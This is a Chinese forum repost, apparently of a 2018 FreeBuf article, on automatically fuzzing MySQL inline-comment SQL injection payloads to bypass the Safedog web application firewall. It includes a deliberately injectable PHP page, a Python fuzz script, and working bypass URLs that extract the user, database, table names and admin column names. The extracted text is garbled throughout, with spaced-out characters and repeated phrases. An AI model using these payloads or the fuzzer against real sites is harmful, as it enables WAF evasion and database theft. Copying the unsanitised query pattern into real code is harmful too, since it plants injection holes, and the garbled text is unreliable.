搜索

[12340] 2018-02-09_Fuzz自动化Bypass软WAF姿势

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-02-09_Fuzz自动化Bypass软WAF姿势 F u z z 自 动 化 B y p a s s 软 W A F 姿 势 F K _ T   F r e e B u f   2 0 1 8 - 0 2 - 0 9 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： F K _ T ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 0 × 0 0   前 言 前 言 在 我 刚 接 触 安 全 这 块 时 候 遇 到 注 入 有 在 我 刚 接 触 安 全 这 块 时 候 遇 到 注 入 有 W A F 的 网 站 时 候 无 从 下 手 的 网 站 时 候 无 从 下 手 , 寻 找 各 种 有 关 绕 过 寻 找 各 种 有 关 绕 过 w a f 的 文 章 的 文 章 , 在 网 页 浏 览 器 上 使 在 网 页 浏 览 器 上 使 用 用 S Q L 语 句 为 了 绕 过 语 句 为 了 绕 过 W A F 变 了 个 法 加 了 些 特 殊 的 数 字 注 释 符 就 懵 了 变 了 个 法 加 了 些 特 殊 的 数 字 注 释 符 就 懵 了 , 当 然 最 后 经 过 精 心 构 造 的 当 然 最 后 经 过 精 心 构 造 的 S Q L 语 句 ， 数 据 语 句 ， 数 据 库 必 须 也 得 能 识 别 并 执 行 。 本 文 主 要 介 绍 如 何 在 本 地 安 装 软 库 必 须 也 得 能 识 别 并 执 行 。 本 文 主 要 介 绍 如 何 在 本 地 安 装 软 W A F 并 使 用 并 使 用 P y t h o n 写 的 写 的 F u z z 脚 本 自 动 化 绕 过 脚 本 自 动 化 绕 过 W A F 并 并 结 合 跑 出 来 的 结 合 跑 出 来 的 P a y l o a d 语 句 绕 过 安 全 防 护 软 件 。 文 章 写 的 比 较 细 主 要 分 享 下 ， 更 多 细 节 方 面 请 参 考 上 篇 文 章 语 句 绕 过 安 全 防 护 软 件 。 文 章 写 的 比 较 细 主 要 分 享 下 ， 更 多 细 节 方 面 请 参 考 上 篇 文 章   全 全 方 位 绕 过 软 方 位 绕 过 软 W A F 攻 略 。 攻 略 。 找 一 些 奇 葩 的 语 句 还 可 以 执 行 的 , 或 者 自 己 能 构 造 的 , 说 的 简 单 点 就 和 密 码 爆 破 一 样 有 些 人 字 典 强 就 可 以 扫 到 各 种 强 悍 的 弱 口 令 ， F u z z 跑 组 合 就 有 姿 势 了 。 0 x 0 1   安 全 狗 安 装 安 全 狗 安 装 访 问 : h t t p : / / w w w . s a f e d o g . c n / w e b s i t e _ s a f e d o g . h t m l 选 择 自 己 的 平 台 和 w e b 容 器 ， 我 的 是 w i n d o w s 平 台 ， A p a c h e w e b 容 器 ， 所 以 我 就 下 载 w i n d o w s   a p a c h e 版 这 里 自 定 义 路 径 ， 将 开 机 自 启 动 关 闭
如 果 是 使 用 p h p s t u d y 的 话 ， 请 将 运 行 模 式 改 成 系 统 服 务 , 不 然 前 面 安 全 狗 的 插 件 会 安 装 不 上
0 x 0 2 * * 安 全 狗 卸 载 安 全 狗 卸 载 * * 这 里 讲 下 细 节 部 分 卸 载 安 全 狗 后 出 现 的 问 题 ， 启 动 A p a c h e 会 发 生 错 误 ： 在 A p a c h e 的 c o n f 目 录 下 有 这 样 一 个 文 件 ， S a f e D o g S i t e A p a c h e F i l t e r . C o n f ， 当 然 当 您 卸 载 以 后 可 能 这 个 文 件 也 随 之 删 除 了 ， 但 是 h t t p . c o n f 文 件 中 还 有 这 样 一 段 ： I n c l u d e   “ d : / w a m p / a p a c h e 2 4 / c o n f / S a f e D o g S i t e A p a c h e F i l t e r . C o n f ” ， 我 们 只 需 要 删 除 这 段 话 就 可 以 让 a p a c h e 成 功 的 启 动 了 S Q L 注 入 代 码 注 入 代 码
m y s q l 语 句 语 句 0 x 0 3   m y s q l 模 拟 注 入 查 询 模 拟 注 入 查 询 * * * * m y s q l 的 注 释 有 三 种 方 式 ： 1 、 块 注 释 ： /   … . .   / 2 、 行 注 释 ： # 3 、 行 注 释 ： —   （ — % 2 0 ， 注 意 后 面 有 一 个 空 格 ， 与 S Q L 标 准 稍 有 差 别 ） 自 M y S Q L 3 . 2 3   版 以 来 ， 可 在 C   风 格 的 注 释 中 “ 隐 藏 ”   M y S Q L 特 有 的 关 键 字 ， 注 释 以 “ /   ! ” 而 不 是 以 “   /   ” 起 头 现 在 我 们 在 m y s q l 命 令 行 中 执 行 一 下 S Q L 语 句 ： 我 们 来 看 下 在 命 令 行 下 执 行 的 结 果 ： 还 是 可 以 正 常 的 查 询 出 内 容 , 我 们 在 m y s q l 命 令 行 中 进 行 下 联 合 查 询 注 入 ： O r d e r   b y   N O r d e r   b y   测 试 出 字 段 为 2 ： < ? p h p h e a d e r ( ' c o n t e n t - t y p e : t e x t / h t m l ; c h a s e t = u t f - 8 ' ) ; i n i _ s e t ( ' d i s p l a y _ e r r o r s ' , 0 ) ; $ m y s q l i   =   n e w   m y s q l i ( ' l o c a l h o s t ' ,   ' r o o t ' , ' r o o t ' , ' f k t ' ) ; $ s q l   =   " s e l e c t   *   f r o m   n e w   w h e r e   i d = " . $ _ G E T [ " i d " ] ; $ r e s u l t   =   $ m y s q l i - > q u e r y ( $ s q l ) ; i f ( $ r e s u l t   = = =   f a l s e ) { / / 执 行 失 败         e c h o   $ m y s q l i - > e r r o r ;         e c h o   $ m y s q l i - > e r r n o ; } e c h o   ' < h r > < t a b l e   b o r d e r = " 1 p x "   a l i g n = " c e n t e r " > ' ; e c h o   ' < t r > < t h > I D < / t h > < t h > a < / t h > < t h > f k t < / t h > < / t r > ' ; w h i l e ( $ r o w   =   $ r e s u l t - > f e t c h _ a s s o c ( ) ) {   e c h o   ' < t r > ' ;         e c h o   ' < t d > ' . $ r o w [ ' i d ' ] . ' < / t d > ' ;         e c h o   ' < t d > w a i t < / t d > ' ;         e c h o   ' < t d > ' . $ r o w [ ' c o n t e n t ' ] . ' < / t d > ' ;         e c h o   ' < / t r > ' ; } e c h o   ' < / t a b l e > ' ; $ m y s q l i - > c l o s e ( ) ; ? > m y s q l >   c r e a t e   d a t a b a s e   f k t ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 0   s e c ) m y s q l >   u s e   f k t ; D a t a b a s e   c h a n g e d m y s q l >   C R E A T E   T A B L E   n e w (         - >           i d   i n t   n o t   n u l l ,         - >           c o n t e n t   c h a r ( 2 0 )         - >   ) ; Q u e r y   O K ,   0   r o w s   a f f e c t e d   ( 0 . 1 9   s e c ) m y s q l >   i n s e r t   i n t o   n e w         - >   v a l u e s (         - >   ' 1 ' , ' x i a o b a i ' ) ; Q u e r y   O K ,   1   r o w   a f f e c t e d   ( 0 . 0 2   s e c ) S e l e c t   *   f r o m   n e w s   w h e r e   i d = 1 S e l e c t   *   f r o m   n e w s   / * ! w h e r e * / i d = 1 S e l e c t   *   f r o m   n e w   w h e r e   i d   = 1   o r d e r   b y   1 ； S e l e c t   *   f r o m   n e w   w h e r e   i d   = 1   o r d e r   b y   2 ；
使 用 m y s q l 联 合 查 询 步 骤 ， 模 拟 S Q L 注 入 回 显 数 据 * * 这 样 也 是 能 正 常 查 询 出 来 的 s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   u n i o n   a l l   s e l e c t   n u l l , n u l l ; s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   n u l l , n u l l ; s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   u s e r ( ) , n u l l ; m y s q l >   s e l e c t   *   f r o m   n e w   w h e r e   i d = 1   a n d   1 = 2   u n i o n   a l l   s e l e c t   / * ! u s e r * / / * ! ( ) * / , n u l l ;
* * 我 们 在 浏 览 器 上 通 过 内 联 注 释 注 入 一 下 看 看 会 不 会 被 拦 截 ， 还 是 被 拦 截 了 ， 老 版 本 的 安 全 狗 可 以 通 过 内 联 注 释 绕 过 所 以 咱 们 今 天 F u z z 自 动 化 B y p a s s 的 思 路 就 是 结 合 这 个 内 联 注 释 ， 加 一 些 特 殊 符 号 ， 以 及 u r l 编 码 来 进 行 对 安 全 狗 的 绕 过 * * 0 x 0 4   F u z z 自 动 化 自 动 化 b y p a s s * * 代 码 比 较 简 洁 我 就 直 接 给 上 注 释 了 这 样 看 得 清 晰 点 ， 只 要 是 在 释 符 号 里 面 就 可 以 包 括 任 意 特 殊 的 符 号 等 , 挡 住 W A F 的 视 线 这 样 说 更 明 白 点 。 列 如 :   / ! u n i o n s e l e c t / F u z z 脚 本 代 码 如 下 ： h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n * / / * ! s e l e c t * / 1 , 2
* * 注 意 底 部 我 的 S Q L 查 询 的 页 面 中 有 w a i t 这 个 字 符 , 没 有 w a i t 的 话 你 就 看 看 ’ ’ 正 常 的 页 面 在 有 啥 必 出 现 的 字 符   改 了 就 行 或 者 在 加 个 e l s e   p r i n t   （ ” 未 过 狗 ” ） c o d e 如 下 ： 如 下 ： 将 这 段 代 码 放 进 k a l i   l i n u x ， 或 者 w i n d o w s 系 统 需 要 安 装 p i p 模 块 p y t h o n 2 . 7 即 可 然 后 运 行 一 下 在 运 行 之 前 一 定 要 将 c c 防 护 关 闭 ,   或 者 把 Ｉ Ｐ 黑 名 单 关 掉 F u z z 过 快 容 易 被 封 I P # e n c o d i n g = u t f - 8 # 实 现 思 路 ； # 不 被 拦 截 的 页 面 上 会 出 现 字 符 “ w a i t ” # 被 拦 截 的 不 会 ， 使 用 f o r 循 环 请 求 并 检 查 返 回 的 页 面 中 是 否 存 在 该 字 符 即 可 。 i m p o r t   r e q u e s t s # 引 入 请 求 模 块 u r l   =   " h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? i d = 1 " ; # 定 义 目 标 F u z z _ a   =   [ ' / * ! ' , ' * / ' , ' / * * / ' , ' / ' , ' ? ' , ' ~ ' , ' ! ' , ' . ' , ' % ' , ' - ' , ' * ' , ' + ' , ' = ' ] F u z z _ b   =   [ ' ' ] F u z z _ c   =   [ ' % 0 a ' , ' % 0 b ' , ' % 0 c ' , ' % 0 d ' , ' % 0 e ' , ' % 0 f ' , ' % 0 h ' , ' % 0 i ' , ' % 0 j ' ] F U Z Z   =   F u z z _ a + F u z z _ b + F u z z _ c # 配 置 f u z z 字 典 h e a d e r   =   { ' U s e r - A g e n t ' : ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 5 5 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 5 . 0 ' } # 设 置 请 求 的 h e a d e r s f o r   a   i n   F U Z Z :   p a s s   f o r   b   i n   F U Z Z :   p a s s   f o r   c   i n   F U Z Z :   f o r   d   i n   F U Z Z :   p a s s   f o r   e   i n   F U Z Z :   p a s s   P Y L O A D   =   " / * ! u n i o n " + a + b + c + d + e + " s e l e c t * /   1 , 2 "   u r l p   =   u r l + P Y L O A D   r e s   =   r e q u e s t s . g e t ( u r l p , h e a d e r s = h e a d e r )   # 使 用 f o r 排 列 组 合 f u z z 字 典 并 请 求 页 面   i f   ' w a i t '   i n   r e s . t e x t :   p r i n t   ( " [ * ] U R L : " +   u r l p   + " 过 狗 ！ " )   f = o p e n ( ' r e s u l t . t x t ' , ' a ' )   f . w r i t e ( u r l p + " n " )   f . c l o s e   # 如 果 返 回 的 页 面 中 包 含 w a i t 字 符 ， 则 打 印 并 写 出 过 狗 p a y l o a d 。
在 w i n d o w s 系 统 上 运 行 几 分 钟 后 , 会 出 现 一 个 叫 r e s u l t . t x t 的 文 件 ， 里 面 就 是 我 们 跑 出 来 的 姿 势 了 k a l i 运 行 结 果 如 下
随 便 取 一 个 姿 势 出 来 看 看 姿 势 有 了 我 们 来 手 工 绕 过 下 吧 ！ h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / 1 , 2 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r ( ) / * ! / * ! * / , 2
这 样 又 被 拦 截 了 ， “ 你 不 是 说 绕 过 了 安 全 狗 了 吗 ？ ” 。 当 然 已 经 绕 过 了 ， 需 要 这 样 写 语 句 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r / * ! / * ! ( ) * / , 2 h t t p : / / 1 9 2 . 1 6 8 . 3 0 . 1 2 9 / f u z z / i n d e x . p h p ? i d = 1 / * ! u n i o n / * ! / * ! * / / * ! s e l e c t / * ! / * ! * / / * ! u s e r / * ! / * ! ( ) * / , / * ! d a t a b a s e / * ! ( ) * / h t t p : / / l o c a l h o s t / f u z z / i n d e x . p h p ? i d = 1 / * ! a n d / * ! / * ! * / / * ! 1 = 2 / * ! / * ! * / / * ! U N I O N / * ! / * ! * / / * ! A L L / * ! / * ! * / / * ! S E L E C T / * ! / * ! * / / * ! g r o u p _ c o n c a t ( t a b l e _ n a m e ) / * ! / * ! * / , N U L L / * ! f r o m / * ! / * ! * / / * ! i n f o r m a t i o n _ s c h e m a . t a b l e s / * ! / * ! * / / * ! w h e r e / * ! / * ! * / / * ! t a b l e _ s c h e m a = / * ! / * ! * / / * ! d a t a b a s e / * ! / * ! ( ) * / h t t p : / / l o c a l h o s t / f u z z / i n d e x . p h p ? i d = 1 / * ! a n d / * ! / * ! * / / * ! 1 = 2 / * ! / * ! * / / * ! U N I O N / * ! / * ! * / / * ! A L L / * ! / * ! * / / * ! S E L E C T / * ! / * ! * / / * ! g r o u p _ c o n c a t ( c o l u m n _ n a m e ) / * ! / * ! * / , N U L L / * ! f r o m / * ! / * ! * / / * ! i n f o r m a t i o n _ s c h e m a . c o l u m n s / * ! / * ! * / / * ! w h e r e / * ! / * ! * / / * ! t a b l e _ n a m e = / * ! / * ! * / / * ! " a d m i n " / * ! / * ! * /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理